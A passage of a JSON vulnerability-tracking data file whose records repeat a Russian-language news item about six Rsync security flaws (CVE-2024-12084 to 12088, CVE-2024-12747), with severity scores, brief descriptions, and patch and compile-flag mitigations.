\u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "7d91b6e6-86e5-4571-8530-d45584c61b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "bf8275aa-a0e0-4ebb-9444-ddb90cb44791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "a743656c-6059-4a6d-b34f-4a7d5d36f22b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, 